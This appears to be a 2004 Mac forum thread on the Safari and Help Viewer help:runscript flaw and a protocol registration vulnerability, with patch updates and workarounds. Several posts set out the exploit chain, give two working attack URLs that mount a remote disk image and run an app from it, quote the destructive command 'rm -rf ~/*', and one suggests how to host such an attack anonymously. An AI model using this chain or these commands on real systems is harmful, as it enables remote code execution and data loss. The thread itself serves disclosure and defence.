[Developer]

==================================== Update 3:

Security Update 2004-06-07 now addresses the arbitrary protocol registration vulnerability. If you previously redirected protocols you can set them back to their original applications. The issue is now completely resolved.
Now the first time a new application is launched not manually the OS will display a dialog that allows you to catch the launch of an unexpected, suspicious application. So read these dialogs carefully, it's your responsibility to decide which applications are run on your computer and which are not.



More info:

http://docs.info.apple.com/article.html?artnum=61798
http://docs.info.apple.com/article.html?artnum=25785

==================================== Update 2:

Apple released the Security Update 2004-05-24 which fixes the help:runscript vulnerability. If you previously redirected help: to some other application you can set it back to Help Viewer which is located in /System/Library/Core Services/.

This update doesn't protect against the arbitrary protocol registration vulnerability.

==================================== Update 1:

This thread discusses the potential security issues

� Help Viewer help:runscript vulnerability (lixlpixel)
� arbitrary protocol registration vulnerability (CharlesS, page 5 and following)

These issues allow the execution of code from remote by visiting a malicious web site. Payload for an exploit could be delivered on a disk image mounted via the disk: protocol for example.
Note that this is not a virus that spreads by itself. One needs to visit a malicious web site first, so the probability that one encounters a malicious attempt to exploit this "in the wild" are actually quite low. No need to panic. On the other hand it is easy to exploit, so you might want to take some safety precautions.

� Download MisFox or MoreInternet
� Redirect the help: protocol to some other program than Help Viewer, like Chess for example. This will work around the help:runscript vulnerability.

There is no easy way around the arbitrary protocol registration problem, but you can try to thwart payload delivery by

� Create disk: and disks: protocols in MisFox or MoreInternet and redirect them to some other program like Chess
� Disable "Open 'safe' files after download" in the Safari preferences.

For sake of completeness let's mention that the Finder mounts FTP under /Volumes as well.

When Apple delivers an update that addresses these issues, you might want to undo these changes in MisFox or MoreInternet before updating. Set help: back to Help Viewer which is located in /System/Library/Core Services/. Set disk: and disks: back to DiskImageMounter which is located in /System/Library/Core Services/.

For more details read the thread.


==================================== Original post:

With "Open 'safe' files after download" turned on, Safari mounts downloaded disk images. Since all volumes are mounted under /Volumes, the path to an AppleScript on such a disk image is known. With an URL of the type help:runscript=... HelpViewer can then be used to execute the script. This can be done with a refresh meta tag to such an URL. The script can then execute arbitrary code (on the disk image) with the user's privileges. (If the user is an admin, code can gain root privileges at the next reboot via the /Library/StartupItems/ weakness.)

More info:

http://fundisom.com/owned/warning

http://www.heise.de/newsticker/meldung/47355 (German)

[Jan Van Boghout]

Right, what will be the next dumbass: "I downloaded a Help file with LimeWire thinking Apple distributes its manuals that way, I opened it manually in Help Viewer, clicked a link and it wiped my hard drive!". Is this lame "security flaw" reporting a new trend? A user would have to:
a) Click a link that downloads a disk image (which will take some time considering we don't have network pipes at the speed of light)
b) Not notice that Safari opens and loads the disk image
c) Not notice what is on the disk image
d) Click another special link to execute a harmful AppleScript.

None of it can be done with one AS link since the file will only be done downloading after a script has finished executing (see point a).

[Developer]

Originally posted by Jan Van Boghout:
Is this lame "security flaw" reporting a new trend?

Sorry, but this is not a lame security flaw. A disk image can be very small; just a few kilobytes download quickly. And a refresh meta-tag can be used to automatically forward to the HelpViewer URL. That means that arbitrary code can be executed just by visiting a malicious web site. No user interaction is necessary.
It won't happen without the user noticing something strange, but it can happen fast enough to be too late before the user can react.

[zen jihad]

On a slightly different note.

With the fame comes the pain.

Honestly. These things might seem trivial just now, but it's a given that if OS X becomes more prevalent, it'll see the growth of viruses, trojans, etc.
It'll be just another viable target, that's the nature of things. Why should this be of a surprise in the future? I just hope that when O$ X had a fraction of the marketshare of Windows, with all the goodness of virus attacks; we'll hopefully hear the end of mac zealots crying out about Windows vulnerabilities.

[mitchell_pgh]

A majority of these things could be stopped by Apple implementing some security routines.

"You have downloaded XYZ, do you want to mount the volume to access the files"

would at least give the user the option to say no...

[OptimusG4]

Or just turn off 'Open Safe files after download' by default.

[Millennium]

Originally posted by OptimusG4:
Or just turn off 'Open Safe files after download' by default.

This is what Apple should be doing, except that they should completely remove the option. There is no such thing as a "safe file".

[Developer]

Originally posted by Millennium:
This is what Apple should be doing, except that they should completely remove the option. There is no such thing as a "safe file".

Apple needs this setting (and needs it turned on by default) or too many people won't be able to install software distributed on disk images.

[SMacTech]

Originally posted by Developer:
Apple needs this setting (and needs it turned on by default) or too many people won't be able to install software distributed on disk images.

Why is that? Because they will have to double-click on the dmg?

[zen jihad]

Originally posted by Millennium:
This is what Apple should be doing, except that they should completely remove the option. There is no such thing as a "safe file".

It's the wrong terminology they are using. God knows why they have used that instead of just open, and open it via its default application.

[testudo]

Or just turn off 'Open Safe files after download' by default.

Umm, but won't the problem occur when the user double-clicks the disk image to open it (one of those "What the hell diskimage is this for? Lets give it a look.")

[Developer]

Originally posted by testudo:
Umm, but won't the problem occur when the user double-clicks the disk image to open it (one of those "What the hell diskimage is this for? Lets give it a look.")

That could work as well, but it would require more social engineering and would be more of a hit or miss with the timing of the Help Viewer URL forwarding.

Maybe Safari shouldn't pass URLs that ask Help Viewer to execute scripts?

[theolein]

Originally posted by Developer:
...
Maybe Safari shouldn't pass URLs that ask Help Viewer to execute scripts?

Bingo! 10 Points! I didn't actually know that Apple had been fu�king stupid enough to allow such an immensely dumb thing to be done. How many years has Microsoft been slammed for allowing Outlook to execute scripts? Now Apple goes and allows their browser to execute a progamme that has the ability to execute Applescripts! Way to go Apple!

[CharlesS]

Originally posted by theolein:
Bingo! 10 Points! I didn't actually know that Apple had been fu�king stupid enough to allow such an immensely dumb thing to be done. How many years has Microsoft been slammed for allowing Outlook to execute scripts? Now Apple goes and allows their browser to execute a progamme that has the ability to execute Applescripts! Way to go Apple!

Agreed. I am very disappointed that Apple has made it possible to execute AppleScripts from a Safari URL. I thought only MS was that stupid.

[CharlesS]

HOLY CRAP.

I've been playing with that script, and it can execute Terminal commands.

Oh, and it can also launch basically any file on your hard disk.

ANY FILE.

You can look at the script itself; it is called OpnApp.scpt and is in this folder:

file:///Library/Documentation/Help/M...sh.lproj/shrd/

You can open the script and see for yourself what it does. It opens any file that the Finder is able to open by double-clicking it. This is bad.

VERY, VERY, VERY, VERY BAD.

I am very disappointed that Apple has allowed this, especially after seeing how bad it was when Microsoft did this.

Turning off the "automatically open 'safe' files" feature will prevent this particular exploit, but it will not help if the hackers find another way to figure out the exact path that a downloaded file goes to. The only way to get rid of the problem is to go to the folder in the file URL that I provided above and either delete the script or move it out of the /Library/Documentation folder. That's what I'm doing - if it breaks any help files, then to hell with the help files!

[CharlesS]

Oh, and did I mention that you can still get .dmg's to mount automatically even if the user has 'safe' files turned off? Yes, you heard it here first. Just send the user to the URL to the disk image, with http:// replaced by disk:// . It will mount the image remotely over the network - very quickly I might add, even if the image itself is large - and you can then use this evil script to launch anything you please on it.

These two links will execute the malware with 'safe' files turned off:

disk://fundisom.com/owned/owned.dmg
help:runscript=MacHelp.help/Contents/Resources/English.lproj/shrd/OpnApp.scpt%20string='Volumes:ww:owned.app'

edit: okay, I can't make the second one a hyperlink with vBCode for some reason. Copy and paste it into the location bar.

[theolein]

The really fun thing is that this can be combined into a single click. (Does Not even need Auto-open of downloads on to work).

Edit for the technically quisitive: It's done via the Meta Refresh tag.

Edit 2: Bastards slashdotting my server.

[lixlpixel]

Oh, and did I mention that you can still get .dmg's to mount automatically even if the user has 'safe' files turned off? Yes, you heard it here first. Just send the user to the URL to the disk image, with http:// replaced by disk:// . It will mount the image remotely over the network - very quickly I might add, even if the image itself is large - and you can then use this evil script to launch anything you please on it.

wow - i didn't even think about that .

now that's heavy news ( i knew it worked, but forgot about that.)

if you allow, i'll include this into the warning site

[CharlesS]

Originally posted by theolein:
The really fun thing is that this can be combined into a single click, go here [link removed at request of theolein] for an example. (Needs Auto-open of downloads on to work).

Again, you do not have to have 'safe' files turned on if you use a disk:// URL.

This SUCKS.

[theolein]

Originally posted by lixlpixel:
wow - i didn't even think about that .

now that's heavy news ( i knew it worked, but forgot about that.)

if you allow, i'll include this into the warning site

I'll edit my example as well, but of course you're allowed.

Editlease send Apple a warning about this! (I already have, but not that it can be done with a single click and that it doesn't need auto-open turned on) This is extremely dangerous as right now, some fu�khead can write the dreaded 'do shellscript="rm -rf ~/*" ' and put it up on their site

[CharlesS]

Originally posted by theolein:
I'll edit my example as well, but of course you're allowed.

Editlease send Apple a warning about this! (I already have, but not that it can be done with a single click and that it doesn't need auto-open turned on) This is extremely dangerous as right now, some fu�khead can write the dreaded 'do shellscript="rm -rf ~/*" ' and put it up on their site

Unless you delete the file I pointed to earlier in this thread, which I recommend everyone to do!

[lixlpixel]

you didn't look at my site close enough obviously, a user on macuser.de has posted a script modification so it warns you before it executes this opening - thingie.

you don't have to thrash it.

and theres a freeware to disable the "help:" protocol - this would do it too.

easy - it still IS apple ...

see http://fundisom.com/owned/explanation for the info

[CharlesS]

Originally posted by lixlpixel:
you didn't look at my site close enough obviously, a user on macuser.de has posted a script modification so it warns you before it executes this opening - thingie.

you don't have to thrash it.

I do not care. I do not want Safari to be able to arbitrarily execute applications through URL's, whether it will warn me about it or not.

Using MoreInternet is a good suggestion which I did see on your site, but after deleting the 'help' protocol, it still seems to work in Safari an OmniWeb. Is it necessary to logout before this change takes effect or something?

Whatever. If the file no longer exists, it cannot do anything for sure. If I need it back for whatever reason, I can extract it with Pacifist. As long as it can execute arbitrary files through a URL, it does not deserve to live on my file system.

[lixlpixel]

Please send Apple a warning about this! (I already have, but not that it can be done with a single click and that it doesn't need auto-open turned on) This is extremely dangerous as right now, some fu�khead can write the dreaded 'do shellscript="rm -rf ~/*" ' and put it up on their site

do you really believe i would make that public without telling Apple ?

I LOVE APPLE

i can't sleep since i did it - i only did it because of so many "new" (more or less serious) exploits for the Mac surfaced.

(and because Apple didn't respond on my bug report for over two months)

[CharlesS]

Originally posted by lixlpixel:
do you really believe i would make that public without telling Apple ?

I LOVE APPLE

i can't sleep since i did it - i only did it because of so many "new" (more or less serious) exploits for the Mac surfaced.

(and because Apple didn't respond on my bug report for over two months)

It's not your bloody fault - I can't believe Apple wouldn't fix this, having known about it since February.

I mean, God. It's not that hard to fix. Just remove that runscript attribute for help: URL's. It doesn't need to be there.

BTW, I sent a report to Apple. I encourage everyone to do the same. If we all send reports to them, they will see that many people are concerned about this and they will have no choice but to fix it.

God damn. I'm still in shock.

[theolein]

Originally posted by CharlesS:
It's not your bloody fault - I can't believe Apple wouldn't fix this, having known about it since February.

I mean, God. It's not that hard to fix. Just remove that runscript attribute for help: URL's. It doesn't need to be there.

BTW, I sent a report to Apple. I encourage everyone to do the same. If we all send reports to them, they will see that many people are concerned about this and they will have no choice but to fix it.

God damn. I'm still in shock.

The place to send this to is the media, then AApple will get off it's fat lazy arse and fu�king do something. I recommend traditionally Apple-unfriendly media such as ZDNet and Cnet, and above all, send this to Slashdot (which I assume someone will have already done).

GOD DAMN APPLE! THIS IS WORSE THAN MICROSOFT

[lixlpixel]

if someone posts this on slashdot, my server is gone ...

sh**, the bandwith is through the roof already.

(in the german-speaking countries this is known for nearly 24 hours already)

[theolein]

Originally posted by lixlpixel:
if someone posts this on slashdot, my server is gone ...

sh**, the bandwith is through the roof already.

(in the german-speaking countries this is known for nearly 24 hours already)

You can bet your sweet arse that someone already has the rm -rf version already up on a site somewhere, which is why it is crtitical that Apple fixes this NOW, like yesterday in fact. As for the slashdotting, put the files in a zip and send them to a slashdot editor so that they can be mirrored.

[Spliffdaddy]

If *I* know - it's way past too late.

I don't even own a Mac.

[theolein]

Originally posted by Spliffdaddy:
If *I* know - it's way past too late.

I don't even own a Mac.

Damn straight there, Spliff. More sh�t like this from Apple and my next machine will be a PC. (Jesus, two whole months and not even responding is worse than Microsoft.)

[Spliffdaddy]

At some point you hafta accept the fact that any personal computer is inherently "at-risk".

Once you eliminate all the potential problems, you arrive at something much less than a personal computer.

Everyone felt safe and secure the whole time they were wide open to attack. Bragging about the 'security' of their platform while still using a personal computer connected to the internet.

Humans aren't perfect. Humans are responsible for the logic by which computers operate.

Did you expect perfection from human beings?

Do you think this is the only 'open door' in the Mac OS?

[theolein]

Warning to everyone!: The workarounds mentioned here, including modifying the OpnApp.scpt (as the user at macuser.de mentioned), and trashing the file might not be enough. If you're an international user, and possibly with American systems as well, there will be a whole bunch of "Some Language.lproj" folders inside the MacHelp.help app. All of them contain the very same OpnApp.scpt file which is partly responsible for this vulnerability. I advise you to trash those *.lproj folders of the languages you don't use in addition to the above mentioned workarounds.

[CharlesS]

Originally posted by Spliffdaddy:
At some point you hafta accept the fact that any personal computer is inherently "at-risk".

Once you eliminate all the potential problems, you arrive at something much less than a personal computer.

Everyone felt safe and secure the whole time they were wide open to attack. Bragging about the 'security' of their platform while still using a personal computer connected to the internet.

Humans aren't perfect. Humans are responsible for the logic by which computers operate.

Did you expect perfection from human beings?

Do you think this is the only 'open door' in the Mac OS?

Seriously, there is no excuse for this. I don't care how imperfect humans are, this is just stupidity. I mean, URLs with the ability to run AppleScripts?! Microsoft had a bug with this a while ago, which let you delete files with a URL that ran a delete script in the help files. It was ridiculous then, and it's just as ridiculous now.

[Gavin]

How would someone set up a thing like this without being caught?

This requires web hosting which can be traced much easier than some worm or email.

Basiclly if someone does this anyone of us could be cutting their fingers off within mere hours.

[theolein]

Originally posted by Gavin:
How would someone set up a thing like this without being caught?

This requires web hosting which can be traced much easier than some worm or email.

Basiclly if someone does this anyone of us could be cutting their fingers off within mere hours.

You can get free web access with http://angelfire.lycos.com/ for example and you can give them a bullsh�t hotmail or yahoo email address, and do the whole thing from an internet cafe. Never underestimmate the capability of the human mind to fu�k things up when they really want to.

[sniffer]

Originally posted by theolein:
.. I advise you to trash those *.lproj folders of the languages you don't use in addition to the above mentioned workarounds.

You can also just search for "OpnApp.scpt" inside the MacHelp.help bundle. A little cleaner.

But gawd damn! I can't believe Apple hasn't fixed this yet if it was known since February.

[utidjian]

Originally posted by sniffer:
You can also just search for "OpnApp.scpt" inside the MacHelp.help bundle. A little cleaner.

But gawd damn! I can't believe Apple hasn't fixed this yet if it was known since February.

Hmmm...

Code:
core:~ utidjian$ locate OpnApp.scpt | wc -l
     246

So there are currently 246 of these little gems on this system.

As far as malicious code having to know where certain files are located that is really rather easy. Using absolute paths most files are located in the same place on different machines. The only real variations are the files in $HOME. Even then there is a lot of consistency.

[Developer]

Originally posted by CharlesS:
Oh, and did I mention that you can still get .dmg's to mount automatically even if the user has 'safe' files turned off? Yes, you heard it here first. Just send the user to the URL to the disk image, with http:// replaced by disk:// . It will mount the image remotely over the network - very quickly I might add, even if the image itself is large - and you can then use this evil script to launch anything you please on it.

You are right. Didn't think about that. That would make it even more obscure what happens for the user. However - as I said earlier - I think the real problem is the URL that executes AppleScripts in HelpViewer.

[Person Man]

Originally posted by CharlesS:
Seriously, there is no excuse for this. I don't care how imperfect humans are, this is just stupidity. I mean, URLs with the ability to run AppleScripts?! Microsoft had a bug with this a while ago, which let you delete files with a URL that ran a delete script in the help files. It was ridiculous then, and it's just as ridiculous now.

Anyone ever stop to think about why you can execute AppleScripts from a URL in Help Viewer?

There are places in help files where the help files can offer to show users how to do things, or to open things for other users, for example, "To change system volume, you need to open System Preferences, click on..." Usually, you can find a link that says, "Open System Preferences for me." This system can be used to automate many things for the user, from within help. Very nice for people who aren't as experienced as many of us are.

Help Viewer files are simple HTML files. Apple made a few extensions, such as the runscript URL, so that the above functionality could be made possible.

Now consider for a moment how Safari got the ability to execute the runscript URL from Help Browser. In Panther, at least (I don't know about Jaguar), Help Viewer uses WebCore to render its pages just like Safari does... in fact, you can do the runscript command from any browser that uses the system-wide native WebCore. I find it interesting that Help Viewer launches, but I suspect that that has to do with the fact that Apple has specified by default that the prefix help:// means launch Help Viewer.

Now, how to best fix it? I don't know. The best fix would prevent it from being accessed from a web browser, but not destroy the functionality that it brings to Help Viewer.

It's a very big problem, yes, and one that needs to be fixed, but let's try coming up with solutions that allow for functionality to be preserved, but to limit it in some way to the context it was originally designed for (i.e. you shouldn't be able to launch help browser to run a script from within Safari or any other web browser).

[Person Man]

Originally posted by theolein:
The place to send this to is the media, then Apple will get [up and] do something. I recommend traditionally Apple-unfriendly media such as ZDNet and Cnet, and above all, send this to Slashdot (which I assume someone will have already done).

GOD DAMN APPLE! THIS IS WORSE THAN MICROSOFT

Above quote edited to "clean up content a bit."

It is most certainly NO worse that Microsoft. It might be on par with Microsoft, but not any worse.

Besides, these days, all one has to do is make a proof of concept, and send it to Intego. Boom, Instant media exposure.